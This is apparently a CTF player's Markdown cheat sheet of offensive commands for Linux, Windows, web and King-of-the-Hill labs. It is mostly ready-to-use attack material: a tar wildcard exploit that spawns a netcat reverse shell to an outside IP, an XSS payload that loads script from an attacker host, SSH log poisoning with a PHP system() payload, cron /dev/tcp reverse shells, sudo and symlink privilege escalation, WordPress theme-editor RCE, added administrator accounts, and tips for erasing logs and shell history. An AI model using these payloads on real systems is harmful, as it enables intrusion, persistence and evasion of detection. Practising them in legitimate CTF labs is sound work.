CTF-Writeups/Cheat Sheet.md

Linux

Stablilize Shell

1. ctrl+z
2. stty raw -echo
3. fg (press enter x2)
4. export TERM=xterm , for using clear command

Spawn bash

• /usr/bin/script -qc /bin/bash 1&>/dev/null
• python -c 'import pty;pty.spawn("/bin/bash")'
• python3 -c 'import pty;pty.spawn("/bin/bash")'

Vulnerable sudo (ALL,!root)

sudo -u#-1 whoami
sudo -u#-1 <path_of_executable_as_other_user>

Execute as diffent user

sudo -u <user> <command>

FTP

Connect to ftp on the machine
ftp user <ip> After successfully logged in you can download all files with mget * Download files recusively
wget -r ftp://user:pass@<ip>/

SMB Shares

SmbClient

• smbclient -L \\\\<ip\\ listing all shares
• smbclient \\\\<ip>\\<share> accessing a share anonymously
• smbclient \\\\10.10.209.122\\<share> -U <share> accessing a share with an authorized user

Smbmap

• smbmap -u <username> -p <password> -H <ip>

Smbget

• smbget -R smb://<ip>/<share>

NFS shares

• showmount -e <ip> This lists the nfs shares
• mount -t nfs <ip>:/<share_name> <directory_where_to_mount> Mounting that share

Cronjobs

• cronjobs for specific users are stored in /var/spool/cron/cronjobs/
• crontab -u <user> -e Check cronjobs for a specific user
• crontab -l cronjob for the current user
• cat /etc/crontab system wide cronjobs

Finding Binaries

• find . - perm /4000 (user id uid)
• find . -perm /2000 (group id guid)

Finding File capabilites

getcap -r / 2>/dev/null

Finding text in a files

grep -rnw '/path/to/somewhere/' -e 'pattern'

Changing file attributes

chattr + i filename making file immutable
chattr -i filename making file mutable
lschattr filename Checking file attributes

Uploading Files

scp file/you/want user@ip:/path/to/store
python -m SimpleHTTPServer [port] By default will listen on 8000
python3 -m http.server [port] By default will listen on 8000

Downloading Files

wget http://<ip>:port/<file>

Netcat to download files from target

nc -l -p [port] > file Receive file
nc -w 3 [ip] [port] < file Send file

Cracaking Zip Archive

fcrackzip -u -D -p <path_to_wordlist> <archive.zip>

Decrypting PGP key

If you have asc key which can be used for PGP authentication then

• john key.asc > asc_hash
• john asc_hash --wordlists=path_to_wordlist

Having pgp cli

• pgp --import key.asc
• pgp --decrypt file.pgp

Having gpg cli

• gpg --import key.asc
• gpg --decrypt file.pgp

killing a running job in same shell

jobs

Find it's job number

$ jobs
[1]+  Running                 sleep 100 &

$ kill %1
[1]+  Terminated              sleep 100

SSH Port Forwarding

ssh -L <port_that_is_blockd_>:localhost:<map_blocked_port> <username>@<ip>

SSH auth log poisoning

Login as any user to see that it gets logged then try to login with a malicious php code

ssh '<?php system($_GET['a']); ?>'@192.168.43.2

Then http://ip/page?a=whoami;

Getting root with ln (symlink)

If we have permissions to run /usr/bin/ln as root we can onw the machine

echo 'bash' > root
chmod +x root 
sudo /usr/bin/ln -sf /tmp/root /usr/bin/ln
sudo /usr/bin/ln

Tar Exploitation

When ever you see a cronjob running with a command cd /<user>/andre/backup tar -zcf /<folder>/filetar.gz * go to that folder from which a backup is being created and running these command in that directory <br/ >

echo "mkfifo /tmp/lhennp; nc 10.2.54.209 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

Binary Exploits

If there is a certain command running in a binary example date so we can create our own binary and add /bin/bash to and path so it gets executed
export PATH=<path_where_binary_is>/:$PATH

Enumration

• cat /etc/*release
• cat /etc/issue
• uname -a
• lsb_release -a
• Running Linpeas
• ss -tulpn (for ports that are open on the machine)

Windows

Adding User

net user "USER_NAME" "PASS" /add

Changing User's password

net user "USER_NAME" "NEWPASS"

Adding User to Administrators

net localgroup administrators "USER_NAME" /add

Changing File Permissions

CACLS files /e /p {USERNAME}:{PERMISSION}
Permissions:
1.R Read
2.W Write
3.C Change
4.F Full Control

Set File bits

attrib +r filename add read only bit
attrib -r filename remove read only bit
attrib +h filename add hidden bit
attrib -h filename remove hidden bit

Show hidden file/folder

dir /a show all hidden files & folder
dir /a:d show only hidden folder
dir /a:h show only hidden files

Downloading Files

certutil.exe -urlcache -f http://<ip>:<port>/<file> ouput.exe
powershell -c "wget http://<ip>:<port>/<file>" -outfile output.exe
powershell Invoke-WebRequest -Uri $ip -OutFile $filepath

Active Directory

powershell -ep bypass load a powershell shell with execution policy bypassed
. .\PowerView.ps1 import the PowerView module

List Drives

wmic logicaldisk get caption

Decrypting PSCredential Object

• $file = Import-Clixml -Path <path_to_file>
• $file.GetNetworkCredential().username
• $file.GetNetworkCredential().password

Msfvenom

List All Payloads

msfvenom -l payloads

List Payload Format

msfvenom --list formats

Meterpreter

Adding user for RDP

run getgui -u [USER_NAME] -p [PASS]

Git

Dumping repository

./gitdumper.sh <location_of_remote_or_local_repostiory_having./.git> <destination_folder>

Extracting information from repository

./extractor.sh <location_folder_having_.git_init> <extract_to_a_folder>

Web

XSS to RCE

Attacker: while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Victim: <svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)>

SQL Map

sqlmap -r request.txt --dbms=mysql --dump

Wfuzz

wfuzz -c -z file,wordlist.txt --hh=0 http://<ip>/<path>/?date=FUZZ

API (Applicaton Programmable Interface)

• Check for possibility if there is a v1 , it is likely to be vulnerable to LFI
• Use wfuzz which is tool to fuzz for API end points or for parameter wfuzz -u http://<ip>:<port>/<api-endpoint>\?FUZZ\=.bash_history -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404
  Here api-endpoint can be for example /api/v1/resources/books\?FUZZ\=.bash_history "?" is before the parameter and FUZZ is telling to find a parameter and we are looking for .bash_hitory as an example

Web Shell Bash

bash -c "<bash_rev_shell>"

Wordpress

using wpscan we can find users or do some further enumeration of wordpress version

• wpscan --url http://<ip>/wordpress -e u Enumerate Users
• wpscan --url http://<ip>/wordpress -e ap Enumearte All plugins

To bruteforce passwords

• wpscan --url <ip> -U user_file_path -P password_file_path

After logging into the wordpress dashboard , we can edit theme's 404.php page with a php revershell http://<ip>/wordpress/wp-content/themes/twentytwenty/404.php

To get a RCE

• Goto Appearance -> Editor Select the 404.php template of the current theme and paste php reverse-shell.
• Then navigate to http://ip/wp-content/themes/twentyfifteen/404.php (theme name can be twentytwenty for the latest one)

Wordlists

Directory Bruteforcing

• /usr/share/wordlists/dirb/big.txt
• /usr/share/wordlists/dirb/common.txt
• /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Gobuster

• gobuster dir -u http://<ip>/ -w <path_to_wordlist>
• gobuster dir -u http://<ip>/ -w <path_to_wordlist> -s "204,301,302,307,401,403" (use status code if 200 is configured to respond on the web server to every get request)

Feroxbuster

feroxbuster -u http://<ip>/ -w <path_to_wordlist>

Dirsearch

python3 dirsearch.py -u http://<ip>/ -w <path_to_text>

Credential Bruteforcing

• /usr/share/wordlists/rockyou.txt
• /usr/share/wordlists/fasstrackt.txt
• using crackstation
• using seclists

Generating Worlists for directory brute force

Cewl

This spiders the given url and finding keyowrds then makes a wordlists through it's findings
cewl.rb <ip>

DNS

Finding Subdomains

wfuzz -c -w <path_to_wordlist> -u 'http://domain.com -H 'Host: FUZZ.domain.com

Zone Transfer

If there is a port 53 open on the machine you could do a zone transfer to get information about DNS records

`dig axfr @ <domain_name>

King Of The Hill (KoTH)

Monitoring and Closing Shell (Linux)

• strace debugging / tamper with processes
• gbd c/c++ debugger
• script - records terminal activites
• w /who check current pts ,terminal device
• ps -t ps/pts-number process monitoring
• script /dev/pts/pts-number montior terminal
• cat /dev/urandom > /dev/pts/pts-number 2>/dev/null prints arbitary text on terminal
• pkill -9 -t pts/pts-number
• Add this in root's crontab (crontab -e)
  

*/1 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/2222 0>&1'

Or you can add in system wide contab (nano /etc/crontab)

*/1 * * * *     root    /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/2222 0>&1'

Change SSH port

nano /etc/ssh/sshd_config (change PORT 22 to any port you want also you can tinker with configuration file) service sshd restart (Restart SSH service to apply changes)

Hide yourself from "w" or "who"

ssh user@ip -T This -T will have some limiations , that you cannot run bash and some other commands but is helpful.

Run Bash script on king.txt

while [ 1 ]; do /root/chattr -i king.txt; done &

Send messages to logged in users

• echo "msg" > /dev/pts/pts-number send message to specific user
  
• wall msg boradcast message to everyone
  

Closing Session (Windows)

• quser
• logoff id|user_name

Covering Track

11.11. Covering our Tracks

The final stages of penetration testing involve setting up persistence and covering our tracks. For today's material, we'll detail the later as this is not mentioned nearly enough.

During a pentesting engagement, you will want to try to avoid detection from the administrators & engineers of your client wherever within the permitted scope. Activities such as logging in, authentication and uploading/downloading files are logged by services and the system itself.

On Debian and Ubuntu, the majority of these are left within the "/var/log directory and often require administrative privileges to read and modify. Some log files of interest:

"/var/log/auth.log" (Attempted logins for SSH, changes too or logging in as system users:)

<img src="https://imgur.com/37aTxnI.png/>

"/var/log/syslog" (System events such as firewall alerts:)

<img src="https://imgur.com/k7scyUP.png/>
"/var/log/<service/" For example, the access logs of apache2 /var/log/apache2/access.log <img src="https://imgur.com/y8Rin3h.png/>

Miscellaneous

Turning off xfce beeping sound

xset b off

export HISTFILE=/dev/null found this it might help you out a little when doing KOTH it basically stops bash logging your commands in the ~/.bash_history file
sudo ifconfig tun0 down
sudo ip link set tun0 down
sudo ip link delete tun0
sudo systemctl restart systemd-networkd ; sudo systemctl status systemd-networkd